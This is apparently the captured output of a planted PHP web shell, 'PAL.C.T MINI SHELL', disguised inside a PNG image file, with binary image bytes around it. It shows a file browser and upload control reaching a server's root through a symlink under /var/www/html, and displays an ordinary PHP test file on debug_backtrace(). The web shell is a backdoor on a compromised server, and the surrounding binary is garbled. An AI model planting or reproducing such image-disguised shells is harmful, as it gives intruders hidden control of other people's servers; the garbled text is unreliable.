php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/php-7.1.11/Zend/tests/
upload
files >> /var/www/html/sub/images/sym/root/php-7.1.11/Zend/tests/bug30828.phpt

--TEST--
Bug #30828 (debug_backtrace() reports incorrect class in overridden methods)
--FILE--
<?php
class A {
	function __construct() {
		debug_print_backtrace();
		$bt = debug_backtrace();
		foreach ($bt as $t) {
			print $t['class'].$t['type'].$t['function']."\n";
		}
	}

	function foo() {
		debug_print_backtrace();
		$bt = debug_backtrace();
		foreach ($bt as $t) {
                        print $t['class'].$t['type'].$t['function']."\n";
		}
	}

	static function bar() {
		debug_print_backtrace();
		$bt = debug_backtrace();
		foreach ($bt as $t) {
			print $t['class'].$t['type'].$t['function']."\n";
		}
	}
}

class B extends A {
	function __construct() {
		parent::__construct();
	}

	function foo() {
		parent::foo();
	}

	static function bar() {
		parent::bar();
	}
}

$b = new B();
$b->foo();
B::bar();
?>
--EXPECTF--
#0  A->__construct() called at [%sbug30828.php:30]
#1  B->__construct() called at [%sbug30828.php:42]
A->__construct
B->__construct
#0  A->foo() called at [%sbug30828.php:34]
#1  B->foo() called at [%sbug30828.php:43]
A->foo
B->foo
#0  A::bar() called at [%sbug30828.php:38]
#1  B::bar() called at [%sbug30828.php:44]
A::bar
B::bar
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`